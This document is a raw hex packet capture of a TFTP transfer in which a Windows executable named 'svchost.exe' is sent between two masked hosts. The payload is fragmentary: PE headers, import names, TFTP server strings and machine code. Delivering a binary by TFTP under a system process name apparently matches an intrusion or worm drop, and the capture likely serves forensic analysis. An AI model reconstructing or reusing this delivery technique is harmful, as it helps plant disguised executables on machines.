0x0010 800a 10dc 0f71 0045 001c f8cc 0001 7376 .....q.E......sv
0x0020 6368 6f73 742e 6578 6500 6f63 7465 7400 chost.exe.octet.
07:03:56.405319 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab3 0000 7f11 04ab 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c e50f 0003 0001 .....E.q........
0x0020 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
0x0030 b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 c800 0000 ................
0x0060 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
0x0070 6973 2070 726f 6772 616d 2063 616e 6e6f is.program.canno
0x0080 7420 6265 2072 756e 2069 6e20 444f 5320 t.be.run.in.DOS.
0x0090 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......
0x00a0 818e e672 c5ef 8821 c5ef 8821 c5ef 8821 ...r...!...!...!
0x00b0 aff3 8a21 e6ef 8821 c5ef 8921 84ef 8821 ...!...!...!...!
0x00c0 9ccc 9b21 ceef 8821 efe7 8e21 c4ef 8821 ...!...!...!...!
0x00d0 c5ef 8821 d5ef 8821 5269 6368 c5ef 8821 ...!...!Rich...!
0x00e0 0000 0000 0000 0000 5045 0000 4c01 0300 ........PE..L...
0x00f0 d7ad ec37 0000 0000 0000 0000 e000 0f03 ...7............
0x0100 0b01 050c 0034 0000 0018 0000 0000 0000 .....4..........
0x0110 503a 0000 0010 0000 0050 0000 0000 0001 P:.......P......
0x0120 0010 0000 0002 0000 0500 0000 0500 0000 ................
0x0130 0400 0000 0000 0000 0080 0000 0006 0000 ................
0x0140 2324 0100 0300 0080 0000 0400 0010 0000 #$..............
0x0150 0000 1000 0010 0000 0000 0000 1000 0000 ................
0x0160 0000 0000 0000 0000 fc3b 0000 8c00 0000 .........;......
0x0170 0070 0000 d803 0000 0000 0000 0000 0000 .p..............
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 8011 0000 1c00 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 3802 0000 8800 0000 ........8.......
0x01c0 0010 0000 8001 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 2e74 6578 7400 0000 1033 0000 0010 0000 .text....3......
0x01f0 0034 0000 0006 0000 0000 0000 0000 0000 .4..............
0x0200 0000 0000 2000 0060 2e64 6174 6100 0000 .......`.data...
0x0210 dc12 0000 0050 0000 000e 0000 003a 0000 .....P.......:..
07:03:56.414931 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c509 0000 8011 5b54 800a 097f E.........[T....
0x0010 800a 10dc 0f71 0645 000c cfab 0004 0001 .....q.E........
0x0020 7002 4000 ffb9 0000 0204 05b4 0101 p.@...........
07:03:56.414944 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c509 0000 8011 5b54 800a 097f E.........[T....
0x0010 800a 10dc 0f71 0645 000c cfab 0004 0001 .....q.E........
0x0020 7002 4000 ffb9 0000 0204 05b4 0101 p.@...........
07:03:56.419975 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab4 0000 7f11 04aa 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c c19b 0003 0002 .....E.q........
0x0020 0000 0000 0000 0000 0000 0000 4000 00c0 ............@...
0x0030 2e72 7372 6300 0000 d803 0000 0070 0000 .rsrc........p..
0x0040 0004 0000 0048 0000 0000 0000 0000 0000 .....H..........
0x0050 0000 0000 4000 0040 5d99 4338 4000 0000 ....@..@].C8@...
0x0060 34d0 4438 4b00 0100 305b 1738 5800 0000 4.D8K...0[.8X...
0x0070 34d0 4438 6200 0000 305b 1738 5800 0000 4.D8b...0[.8X...
0x0080 39d0 4438 6f00 0000 27c2 f237 7c00 0000 9.D8o...'..7|...
0x0090 0000 0000 0000 0000 5753 325f 3332 2e64 ........WS2_32.d
0x00a0 6c6c 004b 4552 4e45 4c33 322e 646c 6c00 ll.KERNEL32.dll.
0x00b0 4e54 444c 4c2e 444c 4c00 4144 5641 5049 NTDLL.DLL.ADVAPI
0x00c0 3332 2e64 6c6c 0069 7068 6c70 6170 692e 32.dll.iphlpapi.
0x00d0 646c 6c00 4d53 5643 5254 2e64 6c6c 0000 dll.MSVCRT.dll..
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.423049 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50a 0000 8011 5b53 800a 097f E.........[S....
0x0010 800a 10dc 0f71 0645 000c cfaa 0004 0002 .....q.E........
0x0020 7002 4000 042c 0000 0204 05b4 0101 p.@..,........
07:03:56.423062 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50a 0000 8011 5b53 800a 097f E.........[S....
0x0010 800a 10dc 0f71 0645 000c cfaa 0004 0002 .....q.E........
0x0020 7002 4000 042c 0000 0204 05b4 0101 p.@..,........
07:03:56.427766 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab5 0000 7f11 04a9 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c cbaa 0003 0003 .....E.q........
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.429409 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50b 0000 8011 5b52 800a 097f E.........[R....
0x0010 800a 10dc 0f71 0645 000c cfa9 0004 0003 .....q.E........
0x0020 7002 4000 0a4e 0000 0204 05b4 0101 p.@..N........
07:03:56.429422 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50b 0000 8011 5b52 800a 097f E.........[R....
0x0010 800a 10dc 0f71 0645 000c cfa9 0004 0003 .....q.E........
0x0020 7002 4000 0a4e 0000 0204 05b4 0101 p.@..N........
07:03:56.433711 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab6 0000 7f11 04a8 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c cc61 0003 0004 .....E.q...a....
0x0020 ac82 db77 8529 db77 8e85 db77 4d7d db77 ...w.).w...wM}.w
0x0030 542c db77 9496 dc77 0000 0000 bbb0 e977 T,.w...w.......w
0x0040 a64c e977 7ac3 e977 e077 f877 e4c4 e977 .L.wz..w.w.w...w
0x0050 0d67 e877 376f e877 8c66 e877 7887 e877 .g.w7o.w.f.wx..w
0x0060 17b2 e877 0f8d e877 0453 e877 7daa f877 ...w...w.S.w}..w
0x0070 419c fc77 c8a6 e877 4caa f877 024a e977 A..w...wL..w.J.w
0x0080 73e6 e977 6b97 fc77 0f31 e977 744b e877 s..wk..w.1.wtK.w
0x0090 8997 f877 c6cf e977 0000 0000 ea1d 0078 ...w...w.......x
0x00a0 703e 0078 26b4 0078 e94e 0178 ab4d 0178 p>.x&..x.N.x.M.x
0x00b0 84d8 0178 0010 0078 c91e 0078 8821 0178 ...x...x...x.!.x
0x00c0 ed10 0078 75a8 0278 097a 0178 acc9 0078 ...xu..x.z.x...x
0x00d0 4b7e 0178 a92a 0278 8ba3 0278 1e3c 0078 K~.x.*.x...x.<.x
0x00e0 6af5 0078 5a3e 0078 643e 0078 6a3e 0078 j..xZ>.xd>.xj>.x
0x00f0 70bb 0378 4751 0278 9ebb 0078 dcf7 0078 p..xGQ.x...x...x
0x0100 08b9 0078 cfd1 0178 254b 0178 9e26 0078 ...x...x%K.x.&.x
0x0110 0000 0000 1113 0375 3c2b 0375 6a4a 0375 .......u<+.ujJ.u
0x0120 0255 0375 572b 0375 27d0 0375 572b 0375 .U.uW+.u'..uW+.u
0x0130 cbac 0375 5a12 0375 4b89 0375 8432 0375 ...uZ..uK..u.2.u
0x0140 1354 0375 143a 0375 c090 0375 3238 0375 .T.u.:.u...u28.u
0x0150 6f30 0375 0000 0000 6678 3477 a325 3477 o0.u....fx4w.%4w
0x0160 0000 0000 702a f877 57a5 f877 0763 fb77 ....p*.wW..w.c.w
0x0170 892a f977 817c f977 e416 f877 d6f1 f877 .*.w.|.w...w...w
0x0180 1d43 f977 b136 f977 b112 f977 3cf7 f877 .C.w.6.w...w<..w
0x0190 c879 f977 c7d7 f877 a575 f977 0000 0000 .y.w...w.u.w....
0x01a0 0000 0000 d7ad ec37 0000 0000 0400 0000 .......7........
0x01b0 1001 0000 0000 0000 004c 0000 0000 0000 .........L......
0x01c0 d7ad ec37 0000 0000 0300 0000 1003 0000 ...7............
0x01d0 0000 0000 104d 0000 0000 0000 d7ad ec37 .....M.........7
0x01e0 0000 0000 0600 0000 0000 0000 0000 0000 ................
0x01f0 2050 0000 0000 0000 d7ad ec37 0000 0000 .P.........7....
0x0200 0200 0000 1a00 0000 0000 0000 90fe a7ff ................
0x0210 443a 5c6e 745c 7072 6976 6174 655c 6e65 D:\nt\private\ne
07:03:56.439878 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50c 0000 8011 5b51 800a 097f E.........[Q....
0x0010 800a 10dc 0f71 0645 000c cfa8 0004 0004 .....q.E........
0x0020 7002 4000 6745 0000 0204 05b4 0101 p.@.gE........
07:03:56.439890 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50c 0000 8011 5b51 800a 097f E.........[Q....
0x0010 800a 10dc 0f71 0645 000c cfa8 0004 0004 .....q.E........
0x0020 7002 4000 6745 0000 0204 05b4 0101 p.@.gE........
07:03:56.443813 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab7 0000 7f11 04a7 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 7d3b 0003 0005 .....E.q..};....
0x0020 745c 736f 636b 6574 735c 7463 7073 7663 t\sockets\tcpsvc
0x0030 735c 7466 7470 645c 7466 7470 642e 6320 s\tftpd\tftpd.c.
0x0040 6275 696c 7420 5365 7020 3234 2031 3939 built.Sep.24.199
0x0050 3920 3232 3a31 373a 3138 0a00 206f 2077 9.22:17:18...o.w
0x0060 7269 7461 626c 6520 6669 6c65 7320 6b65 ritable.files.ke
0x0070 796e 616d 6520 2225 7322 0a00 7772 6974 yname."%s"..writ
0x0080 6162 6c65 0000 0000 206f 2052 6561 6461 able.....o.Reada
0x0090 626c 6520 6669 6c65 7320 6b65 796e 616d ble.files.keynam
0x00a0 6520 2225 7322 0a00 7265 6164 6162 6c65 e."%s"..readable
0x00b0 0000 0000 206f 2056 616c 6964 4d61 7374 .....o.ValidMast
0x00c0 6572 7320 2020 6b65 796e 616d 6520 2225 ers...keyname."%
0x00d0 7322 0a00 6d61 7374 6572 7300 206f 2056 s"..masters..o.V
0x00e0 616c 6964 436c 6965 6e74 7320 2020 6b65 alidClients...ke
0x00f0 796e 616d 6520 2225 7322 0a00 636c 6965 yname."%s"..clie
0x0100 6e74 7300 5468 6573 6520 6b65 7973 2061 nts.These.keys.a
0x0110 7265 2073 6865 6c6c 2070 6174 7465 726e re.shell.pattern
0x0120 7320 7769 7468 202a 2061 6e64 203f 2028 s.with.*.and.?.(
0x0130 7365 6520 6578 616d 706c 6573 2061 626f see.examples.abo
0x0140 7665 293a 0a00 0000 206f 2053 7461 7274 ve):.....o.Start
0x0150 4469 7265 6374 6f72 7920 6b65 796e 616d Directory.keynam
0x0160 6520 2225 7322 0a00 6469 7265 6374 6f72 e."%s"..director
0x0170 7900 0000 5265 6769 7374 7279 206b 6579 y...Registry.key
0x0180 206e 616d 6573 2c20 616c 6c20 7374 7269 .names,.all.stri
0x0190 6e67 733a 2048 4b45 595f 4c4f 4341 4c5f ngs:.HKEY_LOCAL_
0x01a0 4d41 4348 494e 4520 2573 0a00 5379 7374 MACHINE.%s..Syst
0x01b0 656d 5c43 7572 7265 6e74 436f 6e74 726f em\CurrentContro
0x01c0 6c53 6574 5c53 6572 7669 6365 735c 7466 lSet\Services\tf
0x01d0 7470 645c 7061 7261 6d65 7465 7273 0000 tpd\parameters..
0x01e0 2054 4654 5044 5f4c 4f47 4649 4c45 2020 .TFTPD_LOGFILE..
0x01f0 2020 2069 7320 2573 0a0a 0000 7466 7470 ...is.%s....tftp
0x0200 642e 6c6f 6700 0000 2054 4654 5044 5f44 d.log....TFTPD_D
0x0210 4546 4155 4c54 5f44 4952 2069 7320 2573 EFAULT_DIR.is.%s
07:03:56.444724 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50d 0000 8011 5b50 800a 097f E.........[P....
0x0010 800a 10dc 0f71 0645 000c cfa7 0004 0005 .....q.E........
0x0020 7002 4000 e484 0000 0204 05b4 0101 p.@...........
07:03:56.444735 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50d 0000 8011 5b50 800a 097f E.........[P....
0x0010 800a 10dc 0f71 0645 000c cfa7 0004 0005 .....q.E........
0x0020 7002 4000 e484 0000 0204 05b4 0101 p.@...........
07:03:56.449743 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab8 0000 7f11 04a6 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c ccd8 0003 0006 .....E.q........
0x0020 0a00 0000 5c74 6674 7064 726f 6f74 5c00 ....\tftpdroot\.
0x0030 2d3f 0000 612b 0000 7466 7470 0000 0000 -?..a+..tftp....
0x0040 7564 7000 4f70 7469 6f6e 206e 6567 6f74 udp.Option.negot
0x0050 6961 7469 6f6e 2066 6169 6c75 7265 0000 iation.failure..
0x0060 4e6f 2073 7563 6820 7573 6572 0000 0000 No.such.user....
0x0070 4669 6c65 2061 6c72 6561 6479 2065 7869 File.already.exi
0x0080 7374 7300 556e 6b6e 6f77 6e20 7472 616e sts.Unknown.tran
0x0090 7366 6572 2049 4400 496c 6c65 6761 6c20 sfer.ID.Illegal.
0x00a0 5446 5450 206f 7065 7261 7469 6f6e 0000 TFTP.operation..
0x00b0 4469 736b 2066 756c 6c20 6f72 2061 6c6c Disk.full.or.all
0x00c0 6f63 6174 696f 6e20 6578 6365 6564 6564 ocation.exceeded
0x00d0 0000 0000 4163 6365 7373 2076 696f 6c61 ....Access.viola
0x00e0 7469 6f6e 0000 0000 4669 6c65 206e 6f74 tion....File.not
0x00f0 2066 6f75 6e64 0000 4572 726f 7220 756e .found..Error.un
0x0100 6465 6669 6e65 6400 7473 697a 6500 0000 defined.tsize...
0x0110 7469 6d65 6f75 7400 626c 6b73 697a 6500 timeout.blksize.
0x0120 5469 6d65 6f75 7400 496e 7375 6666 6963 Timeout.Insuffic
0x0130 6965 6e74 2072 6573 6f75 7263 6573 0000 ient.resources..
0x0140 4669 6c65 206e 616d 6520 746f 6f20 6c6f File.name.too.lo
0x0150 6e67 0000 4d61 6c66 6f72 6d65 6420 6669 ng..Malformed.fi
0x0160 6c65 206e 616d 6500 6f63 7465 7400 0000 le.name.octet...
0x0170 6e65 7461 7363 6969 0000 0000 5c00 0000 netascii....\...
0x0180 ffff ffff 5e3b 0001 733b 0001 0000 0000 ....^;..s;......
0x0190 837c 2404 0156 0f8e ca00 0000 8b44 240c .|$..V.......D$.
0x01a0 be10 1400 018b 4004 8a10 8aca 3a16 751a ......@.....:.u.
0x01b0 84c9 7412 8a50 018a ca3a 5601 750c 4040 ..t..P...:V.u.@@
0x01c0 4646 84c9 75e2 33c0 eb05 1bc0 83d8 ff85 FF..u.3.........
0x01d0 c00f 858f 0000 008b 35d4 1000 0168 1050 ........5....h.P
0x01e0 0001 ffd6 5968 0414 0001 68e8 1300 01ff ....Yh....h.....
0x01f0 d659 5968 dc13 0001 68c0 1300 01ff d659 .YYh....h......Y
0x0200 5968 8c13 0001 6854 1300 01ff d659 5968 Yh....hT.....YYh
0x0210 4813 0001 6828 1300 01ff d659 5968 e412 H...h(.....YYh..
07:03:56.450978 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50e 0000 8011 5b4f 800a 097f E.........[O....
0x0010 800a 10dc 0f71 0645 000c cfa6 0004 0006 .....q.E........
0x0020 7002 4000 e9c7 0000 0204 05b4 0101 p.@...........
07:03:56.450991 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50e 0000 8011 5b4f 800a 097f E.........[O....
0x0010 800a 10dc 0f71 0645 000c cfa6 0004 0006 .....q.E........
0x0020 7002 4000 e9c7 0000 0204 05b4 0101 p.@...........
07:03:56.455782 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ab9 0000 7f11 04a5 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 8ba1 0003 0007 .....E.q........
0x0020 0001 ffd6 5968 dc12 0001 68bc 1200 01ff ....Yh....h.....
0x0030 d659 5968 b412 0001 6894 1200 01ff d659 .YYh....h......Y
0x0040 5968 8812 0001 6868 1200 01ff d659 5968 Yh....hh.....YYh
0x0050 5c12 0001 683c 1200 01ff d659 596a ffff \...h<.....YYj..
0x0060 15ec 1000 0159 68b0 5c00 01ff 1504 1000 .....Yh.\.......
0x0070 0185 c075 06ff 1538 1000 016a 00ff 151c ...u...8...j....
0x0080 1000 015e c353 5556 5733 ed68 eb1d 0001 ...^.SUVW3.h....
0x0090 68a8 5c00 01c7 0520 6100 0130 0000 00c7 h.\.....a..0....
0x00a0 0524 6100 0102 0000 0089 2d28 6100 01c7 .$a.......-(a...
0x00b0 0534 6100 0101 0000 00c7 0538 6100 0120 .4a........8a...
0x00c0 4e00 0089 2d2c 6100 0189 2d30 6100 01ff N...-,a...-0a...
0x00d0 1510 1000 013b c5a3 4460 0001 0f84 a000 .....;..D`......
0x00e0 0000 8b35 1410 0001 bf20 6100 0157 50ff ...5......a..WP.
0x00f0 d63b c50f 8489 0000 008b 1d40 1000 0155 .;.........@...U
0x0100 5555 55ff d355 5555 55a3 dc5d 0001 ffd3 UUU..UUUU..]....
0x0110 392d dc5d 0001 a3e0 5d00 0174 1f3b c574 9-.]....]..t.;.t
0x0120 1b68 4061 0001 6801 0100 00ff 15fc 1000 .h@a..h.........
0x0130 0183 f8ff 751f ff15 f810 0001 6a1f e850 ....u.......j..P
0x0140 0700 006a 01ff 15ec 1000 0159 5f5e 5d33 ...j.......Y_^]3
0x0150 c05b c208 0057 c705 2461 0001 0400 0000 .[...W..$a......
0x0160 ff35 4460 0001 c705 2861 0001 0700 0000 .5D`....(a......
0x0170 892d 3461 0001 892d 3861 0001 ffd6 3bc5 .-4a...-8a....;.
0x0180 7508 ff15 3810 0001 ebb2 6a09 5933 c0ba u...8.....j.Y3..
0x0190 c060 0001 8bfa f3ab 52ff 15a4 1000 0159 .`......R......Y
0x01a0 8b54 2414 4abb 085e 0001 7467 8b44 2418 .T$.J..^..tg.D$.
0x01b0 8d04 9089 4424 148b 4424 148b 0080 382d ....D$..D$....8-
0x01c0 7551 0fbe 4801 83e9 6474 1e49 740f 4975 uQ..H...dt.It.Iu
0x01d0 38c7 05d8 5d00 0101 0000 00eb 2cc7 05d4 8...].......,...
0x01e0 5d00 0101 0000 00eb 208d 7802 83c9 ff33 ].........x....3
0x01f0 c0f2 aef7 d12b f98b c18b f78b fbc1 e902 .....+..........
0x0200 f3a5 8bc8 83e1 03f3 a483 6c24 1404 4a3b ..........l$..J;
0x0210 d577 a4e8 c71f 0000 e813 2100 008b 35a8 .w........!...5.
07:03:56.456749 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50f 0000 8011 5b4e 800a 097f E.........[N....
0x0010 800a 10dc 0f71 0645 000c cfa5 0004 0007 .....q.E........
0x0020 7002 4000 62fb 0000 0204 05b4 0101 p.@.b.........
07:03:56.456762 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c50f 0000 8011 5b4e 800a 097f E.........[N....
0x0010 800a 10dc 0f71 0645 000c cfa5 0004 0007 .....q.E........
0x0020 7002 4000 62fb 0000 0204 05b4 0101 p.@.b.........
07:03:56.461853 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1aba 0000 7f11 04a4 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 293a 0003 0008 .....E.q..):....
0x0020 1000 0153 ffd6 83f8 ff59 7522 ff15 ac10 ...S.....Yu"....
0x0030 0001 53ff 15b0 1000 013b c559 0f85 fafe ..S......;.Y....
0x0040 ffff 53ff d63b c559 0f85 eefe ffff 392d ..S..;.Y......9-
0x0050 d85d 0001 7421 6814 1400 0168 dc13 0001 .]..t!h....h....
0x0060 ff15 b410 0001 593b c559 a3d0 5d00 0175 ......Y;.Y..]..u
0x0070 0689 2dd8 5d00 0168 c060 0001 ff15 b810 ..-.]..h.`......
0x0080 0001 59e8 7300 0000 e883 0100 006a ffff ..Y.s........j..
0x0090 35dc 5d00 01ff 153c 1000 013b c50f 84a9 5.]....<...;....
0x00a0 feff ffff 1538 1000 01e9 9efe ffff 558b .....8........U.
0x00b0 ec51 6a03 ff75 0cff 7508 ff15 0011 0001 .Qj..u..u.......
0x00c0 85c0 740a ff15 3810 0001 33c0 eb29 f645 ..t...8...3..).E
0x00d0 1001 6a00 6aff ff75 0874 0768 741d 0001 ..j.j..u.t.ht...
0x00e0 eb05 68db 1d00 01ff 750c 8d45 fc50 ff15 ..h.....u..E.P..
0x00f0 7411 0001 8b45 fcc9 c20c 0055 8bec 5153 t....E.....U..QS
0x0100 568b 3544 1000 0157 6880 6000 01ff d668 V.5D...Wh.`....h
0x0110 2060 0001 ffd6 b898 6000 01a3 9c60 0001 .`......`....`..
0x0120 a398 6000 01b8 3860 0001 a33c 6000 01a3 ..`...8`...<`...
0x0130 3860 0001 8d45 fc50 e889 0600 0033 f685 8`...E.P.....3..
0x0140 c075 348b 45fc 33db 3930 7623 33ff 8b4c .u4.E.3.90v#3..L
0x0150 3804 3bce 7411 81f9 7f00 0001 7409 51e8 8.;.t.......t.Q.
0x0160 1607 0000 8b45 fc43 83c7 183b 1872 df50 .....E.C...;.r.P
0x0170 ff15 a010 0001 5968 a060 0001 ff15 7011 ......Yh.`....p.
0x0180 0001 3bc6 0f85 8100 0000 b860 ea00 0056 ..;........`...V
0x0190 5050 5668 ba29 0001 6848 6000 01ff 35a0 PPVh.)..hH`...5.
0x01a0 6000 01ff 1578 1100 0156 5656 568b f8ff `....x...VVVV...
0x01b0 1540 1000 013b c6a3 f85d 0001 7504 8bc7 .@...;...]..u...
0x01c0 eb49 566a ff56 6819 2200 0150 68fc 5d00 .IVj.Vh."..Ph.].
0x01d0 01ff 1574 1100 013b c675 30b9 0061 0001 ...t...;.u0..a..
0x01e0 33c0 8bf9 51ab abab abab a1f8 5d00 0168 3...Q.......]..h
0x01f0 005e 0001 a310 6100 01e8 6620 0000 3bc6 .^....a...f...;.
0x0200 7407 3de5 0300 0075 0233 c05f 5e5b c9c3 t.=....u.3._^[..
0x0210 b878 6000 0168 6060 0001 a37c 6000 01a3 .x`..h``...|`...
07:03:56.466899 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c510 0000 8011 5b4d 800a 097f E.........[M....
0x0010 800a 10dc 0f71 0645 000c cfa4 0004 0008 .....q.E........
0x0020 7002 4000 6af6 0000 0204 05b4 0101 p.@.j.........
07:03:56.466913 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c510 0000 8011 5b4d 800a 097f E.........[M....
0x0010 800a 10dc 0f71 0645 000c cfa4 0004 0008 .....q.E........
0x0020 7002 4000 6af6 0000 0204 05b4 0101 p.@.j.........
07:03:56.489861 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1abb 0000 7f11 04a3 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 303e 0003 0009 .....E.q..0>....
0x0020 7860 0001 ff15 4410 0001 6a00 681c fd0e x`....D...j.h...
0x0030 006a 00ff 1548 1000 01a3 ec5d 0001 c353 .j...H.....]...S
0x0040 56bb 6060 0001 5753 33f6 ff15 5810 0001 V.``..WS3...X...
0x0050 a1f0 5d00 012b 05f4 5d00 0183 f80a 7606 ..]..+..].....v.
0x0060 d1e8 8bf0 eb08 83f8 0376 036a 025e 85f6 .........v.j.^..
0x0070 7634 8bfe a178 6000 018b f08b 088b 4004 v4...x`.......@.
0x0080 8908 8941 04ff 7630 ff15 5410 0001 566a ...A..v0..T...Vj
0x0090 00ff 35ec 5d00 01ff 1550 1000 01ff 0df0 ..5.]....P......
0x00a0 5d00 014f 75ce 53ff 154c 1000 015f 5e5b ]..Ou.S..L..._^[
0x00b0 c3b8 0400 0100 e8a3 1f00 0053 5533 ed56 ...........SU3.V
0x00c0 5789 6c24 10bb 6060 0001 8d44 2414 5068 W.l$..``...D$.Ph
0x00d0 7f66 0440 ffb4 2420 0001 00ff 1514 1100 .f.@..$.........
0x00e0 013b c50f 855e 0200 0039 6c24 140f 8492 .;...^...9l$....
0x00f0 0200 0033 c08d 7c24 30ab abab ab53 abff ...3..|$0....S..
0x0100 1558 1000 01a1 7860 0001 ff05 f45d 0001 .X....x`.....]..
0x0110 3d78 6000 0174 1a8b 088b f08b 4004 8908 =x`..t......@...
0x0120 8941 04ff 7630 ff15 6810 0001 8b46 30eb .A..v0..h....F0.
0x0130 30ff 05f0 5d00 0168 6cff 0200 6a08 ff35 0...]..hl...j..5
0x0140 ec5d 0001 ff15 6410 0001 8bf0 3bf5 0f84 .]....d.....;...
0x0150 2a02 0000 5555 5555 ff15 4010 0001 8946 *...UUUU..@....F
0x0160 3053 8944 2444 ff15 4c10 0001 8d6e 34b9 0S.D$D..L....n4.
0x0170 ef3f 0000 33c0 8bfd f3ab aa8b 8424 1c00 .?..3........$..
0x0180 0100 896c 2424 c744 2420 bdff 0000 c744 ...l$$.D$......D
0x0190 2418 1000 0000 8946 1c8d 4424 306a 0050 $......F..D$0j.P
0x01a0 8d44 2420 8d7e 2c50 8d46 0c50 8d44 2420 .D$..~,P.F.P.D$.
0x01b0 5057 8d44 2438 6a01 50ff b424 3800 0100 PW.D$8j.P..$8...
0x01c0 ff15 1011 0001 8944 241c 668b 460e 50ff .......D$.f.F.P.
